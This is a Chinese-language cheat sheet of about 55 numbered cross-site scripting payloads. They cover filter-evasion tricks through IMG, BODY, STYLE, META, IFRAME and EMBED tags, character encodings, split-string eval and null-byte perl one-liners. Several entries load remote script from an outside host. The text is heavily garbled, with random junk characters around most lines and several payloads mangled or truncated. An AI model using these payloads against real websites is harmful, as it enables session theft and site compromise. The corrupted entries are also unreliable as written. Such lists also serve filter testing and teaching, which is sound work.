(1)普通的XSS JavaScript注入
" i' W! _' }; N5 E' f* F# g<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>0 h1 e9 p* ~8 c
(99)另类弹框
# w0 i! b% J( M3 @ P<q/oncut=alert()>1
" W* {8 j$ B& ^! h- h( Y5 i<s/onclick=alert()>b
. O6 \- o# V" W6 S# X# S- V <XSS=" onclick="alert(1)//">clickme</SSX=">
$ I* h) [" O( C$ D9 x9 t+ b+ x <zzz onclick=alert`1`>clickme</zzz> 3 t) x7 f4 i' p* B- I% V
<a onclick=alert`1`>clickme</a>( j6 x8 a" Z, A* h1 t m
<a=">clickme</a=">2 ^# ?1 T4 @' j# y5 f
<a=">clickme</a>& ~. w& Y& Y. G S+ u4 g
<z=">clickme</z=">4 w6 _! v% _2 V
<z onclick=alert`1`>clickme</z>8 ^2 W: o' u0 Q4 T& E; K
% }1 T5 u/ {9 w6 I(2)IMG标签XSS使用JavaScript命令' n- B% [. T. }# M2 v5 R
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 a9 C5 k$ _0 O% g
. U2 O7 q; W' r, m" \4 j# e6 h
(3)IMG标签无分号无引号9 ^& p! ~, h9 v- q
<IMG SRC=javascript:alert(‘XSS’)>
3 w- C9 ^8 t/ Y+ N7 W: y# }5 w0 B ?
(4)IMG标签大小写不敏感
9 w# E% j% H% ~" q: W4 z<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
& a9 c% o! @( z; O2 K7 F
$ _, _% Y* G- X(5)HTML编码(必须有分号)
* @- C0 s5 ]. @2 ^ N<IMG SRC=javascript:alert(“XSS”)># c+ b/ b2 |2 J D, k3 A8 C
5 _( O* y$ a# K. `' {7 H
(6)修正缺陷IMG标签
! u* x) @2 B& T7 [! n<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>: a! r2 y, k/ @' i8 S9 P
: Q5 ]5 M) l" h# n& ?& i(7)formCharCode标签(计算器)7 x/ f0 V+ k3 V* d6 x
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
& u: u5 Z; d( K9 G: a: P& _1 ^" } z( y2 P3 M- b- Y9 l1 }9 b3 `0 u8 {
(8)UTF-8的Unicode编码(计算器)
- H1 W! k" }. K' n- P. J<IMG SRC=jav..省略..S')># F4 d2 E/ R2 x5 v9 Q z2 d
/ [2 L4 v8 y7 ?/ O(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ J8 Y5 s3 g _8 b/ C2 D$ S- b
<IMG SRC=jav..省略..S')>
7 T* u' ?- p. _1 @4 @1 i; h; z
' g y' U2 h5 V1 P, ^1 Z- |(10)十六进制编码也是没有分号(计算器)- }, [- Y* K0 {$ E7 Q
<IMG SRC=\'#\'" /span>
2 B$ X% f! `7 ]3 j' R9 i/ n9 N1 n# C% x/ b" U
(11)嵌入式标签,将Javascript分开
4 n7 O3 {) L3 m1 q- |+ Z' L, ~<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>9 o5 L+ t- L/ R7 X/ L4 A
( x! [ w+ y" ?% R(12)嵌入式编码标签,将Javascript分开
2 S7 l- x$ i+ W# d& Y0 m<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
( G* A: t( J" ^$ }5 T4 [, P8 v- a$ h- M4 P, f. O7 |3 H
(13)嵌入式换行符/ h* Q5 k8 K, Z+ Y
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>% y5 H: G3 b" W0 _$ N6 O. \
F7 J3 X+ ~! a2 Q2 N+ ^
(14)嵌入式回车
8 `+ }) }& }' k* i; X+ x<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 T$ N% L# G( ]4 `1 L+ I. |' Q& J) n* ^7 R4 f
(15)嵌入式多行注入JavaScript,这是XSS极端的例子7 B! N6 ^4 h% i/ J3 k3 V
<IMG SRC=\'#\'" /span>
1 H" k# p, _+ K, @' y0 `& P2 u* ]0 K ^
(16)解决限制字符(要求同页面)
; _1 |% n/ U% g s2 F, s<script>z=’document.’</script>
- v4 W0 L5 ~( ~2 b<script>z=z+’write(“‘</script>: w/ o. a- }/ W1 g7 C( a
<script>z=z+’<script’</script>
- [0 K1 u" S+ W* g4 M: V2 Q<script>z=z+’ src=ht’</script>+ s: k4 `& Z" C* a
<script>z=z+’tp://ww’</script>
! w j! D6 S7 V9 h7 z<script>z=z+’w.shell’</script>
' m1 n7 p9 |; H& Q' e) Z" H<script>z=z+’.net/1.’</script>
$ i, Z3 h3 Y$ c- c8 o2 {<script>z=z+’js></sc’</script>
5 p' y5 L; Q2 e5 n7 J5 i<script>z=z+’ript>”)’</script>
- N7 e# j, `; F; W" q<script>eval_r(z)</script>8 n3 C P: J2 v; z* T
4 F' n, n/ p( s: P% ]3 H+ S! k(17)空字符 k/ W# y8 y1 ?1 |3 c
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out) _' L( @# N' i' d- v4 w# i
3 `" I( ]. e6 L(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
0 s8 Z" c; Y: X0 a4 ?- Z& T) zperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
0 D2 ?! ^# K% z9 t/ U
' Y7 [& f6 J7 [% A(19)Spaces和meta前的IMG标签
( m; ~) Z! o4 h: h. J<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>6 c2 E' Y3 s H: C4 P7 {& E5 w
; k' t8 A s. {# t* J* r
(20)Non-alpha-non-digit XSS9 g& g# ^, G6 e) n& s$ d. m9 X, | m
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>" H$ J& s# O% m$ ] M' a1 |# m
& a+ M2 k/ o) m: D" t0 Z9 D
(21)Non-alpha-non-digit XSS to 24 o$ i) p7 v. r! J D. e7 e
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; ~# U3 r' h0 e- B' m) T& E& s- S
# C3 i, y% A9 N+ l+ m(22)Non-alpha-non-digit XSS to 3
8 H+ M/ N8 ^# P) k% U<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
2 I4 }3 x0 T/ q8 A. V
$ C# a" ^: k0 D7 [# l) [(23)双开括号
* a6 d' }% D! k0 ?<<SCRIPT>alert(“XSS”);//<</SCRIPT>5 X, l8 g5 M4 v' c8 r( }* p
( Y$ }$ N& l T% a- O
(24)无结束脚本标记(仅火狐等浏览器). t6 G( n- G6 P, l( S6 ]
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>5 y" I* b1 j" V0 Q4 A4 z$ l: V; N
4 Z+ G* @9 o, W; ?(25)无结束脚本标记2
4 K. x) u# |% k, \<SCRIPT SRC=//3w.org/XSS/xss.js>
3 I0 Z. y! c ~( i+ j$ h7 V/ q4 B( w% J) \+ H% w5 T) h
(26)半开的HTML/JavaScript XSS
; ]* P) L! q( q! m" O<IMG SRC=\'#\'" /span>
2 O; h0 ?2 S2 H% j% w" p
8 E+ L8 O1 \/ z, @8 j5 q1 ~+ a1 U; K(27)双开角括号1 D$ l+ D1 v. e9 q; c' a
<iframe src=http://3w.org/XSS.html <; j4 u% D" Y7 j% i5 | {
& a% k9 P1 t' n. p4 e3 g% y
(28)无单引号 双引号 分号" a- G: X0 W+ o2 k
<SCRIPT>a=/XSS/2 T: Y% N+ J$ I9 n; z/ C3 A. `
alert(a.source)</SCRIPT>; ~7 u6 Z0 L$ z0 ?7 X+ h, q- _
7 B E' m' j0 O2 g! N. S
(29)换码过滤的JavaScript
) m, @- g' `5 _6 M7 |, e- a\”;alert(‘XSS’);//2 ]6 j) R2 C- ?" ^, {
" Y8 Y) C. H: I1 ~3 v(30)结束Title标签
* q# d: _+ `( u) M, V% n</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>6 h9 c0 p }7 |2 _7 }+ _. D, r
g) l7 K- r" ]5 e; p8 z
(31)Input Image
8 c0 A: s6 M1 i$ @<INPUT SRC=\'#\'" /span>! |' ?6 N J6 m' C1 I/ c8 ?
* K5 J3 u" y' ?& f) q3 y4 A6 `: {! n(32)BODY Image& _- c {) q/ b+ J1 ?' b2 A6 s
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>) d2 a: i. I# Z5 P0 k+ V' y* g2 ?% `$ ^
5 o* r2 v/ I2 {1 v9 \- z(33)BODY标签
, ^ b$ T: D# Z' j* m<BODY(‘XSS’)>
' d S4 o$ B9 B' W) ~ c3 o; l1 ~7 C* R$ u
(34)IMG Dynsrc& u4 W% v& E4 \: f' T
<IMG DYNSRC=\'#\'" /span>
! c0 E7 b- F+ y7 _2 }# Y! `' k1 o
(35)IMG Lowsrc4 r( r2 c+ L" ~! R& ]: P
<IMG LOWSRC=\'#\'" /span>7 S/ U' ?9 u" K+ [. K/ @# ]; g
& G, W v4 W+ d0 N; D; C9 T7 z
(36)BGSOUND$ r1 _$ i# m, X; f& v+ M
<BGSOUND SRC=\'#\'" /span>
* k. p" {. d0 W" ]
4 p! |' X& T# I8 b; R(37)STYLE sheet
& B! B0 I* O, k6 e# r5 l0 d; F6 x<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
) I5 T# N q- g; L! I9 u2 j8 e# u1 f
(38)远程样式表- ]. I1 P" _5 k, x8 H, z
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
3 p* v* N& ]8 K- V( x' m# y& Z" U& R. }3 D) a
(39)List-style-image(列表式)
% p5 X* @7 S, r; L<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS# k8 m2 L- R! e
* {: [$ U5 B" ]) ]* D# K5 s
(40)IMG VBscript6 f& l' u4 B* m7 k
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS3 ]$ d% ?+ ^* ^. [7 `
- ?, o7 O4 v" v/ M% W" o/ t+ Z0 L(41)META链接url/ U. l' T% a6 c% g! e; ?$ s. B
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
) \: x4 B; i, U& \) ^/ q4 q; C9 Y6 k( [0 V
(42)Iframe, h8 Z! q4 @2 R( G2 m6 S
<IFRAME SRC=\'#\'" /IFRAME>) T1 W+ B6 @+ y! u0 o) I9 g4 D- N
8 O! v' L! i, u/ _( @6 e7 v# F(43)Frame" A+ s4 a) X' l! y
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>" @0 j) L% k& P) w
; t; j' E5 S) ]
(44)Table7 h! c% r5 w- a. ^4 i
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>: K$ K) {- {$ f8 D6 h
/ ?8 I1 ^1 E* {- W(45)TD
" y9 J+ I4 [4 F<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
% K1 x! }5 |& _! B9 c8 t5 L0 {# V! ~# j, {! @0 \
(46)DIV background-image/ n7 L0 w) D$ Z7 F7 [8 g& r
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>& H& E" P5 J( q& k2 ~
: p) C9 n2 J. S9 d(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
/ `1 M' m6 u' t* j* d$ U<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 F% [" d4 p, q( F2 t% y' v* ~" X8 F7 f& D% ^ b5 ]$ Z+ n: z' \7 u
(48)DIV expression
! J6 [% E( D- H9 o0 Z, ^<DIV STYLE=”width: expression_r(alert(‘XSS’));”>) g- }3 R: K5 W* v- R5 U* N
1 _: n( V9 f9 g* n6 ?
(49)STYLE属性分拆表达1 X u% V; @2 m4 D
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
& p n- A1 W5 _ p# E3 j
8 o3 C8 z- n9 s, ~" \4 ~(50)匿名STYLE(组成:开角号和一个字母开头)
X, l+ z7 A0 _- j+ g<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
6 M4 x5 t, L, i0 N1 Z
A/ c5 N' y* e. G(51)STYLE background-image% E9 _5 |5 Z. [7 H! M. m
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>0 \8 \" v, q$ Y3 G3 T/ `
- w5 ^/ B$ v) t" h(52)IMG STYLE方式" C$ ~" ^- a: L/ l) l
exppression(alert(“XSS”))’>
; i O: T- G1 N8 G+ j& g! J( k2 a# v+ B5 `9 Y" b2 y' e
(53)STYLE background
' i, V9 a5 H' E9 l! T<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>3 x' H, q, Y( O1 N
( n" l+ l' `+ y
(54)BASE" G$ U$ a, J. @1 ?9 [- U
<BASE HREF=”javascript:alert(‘XSS’);//”>
6 p/ h+ p- k/ T+ l6 N/ o+ }. d! ?+ i3 h+ s* i+ Y' g
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" N# P* F o% V* l) a P<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>+ G5 A. F- A- \- T2 O2 b
|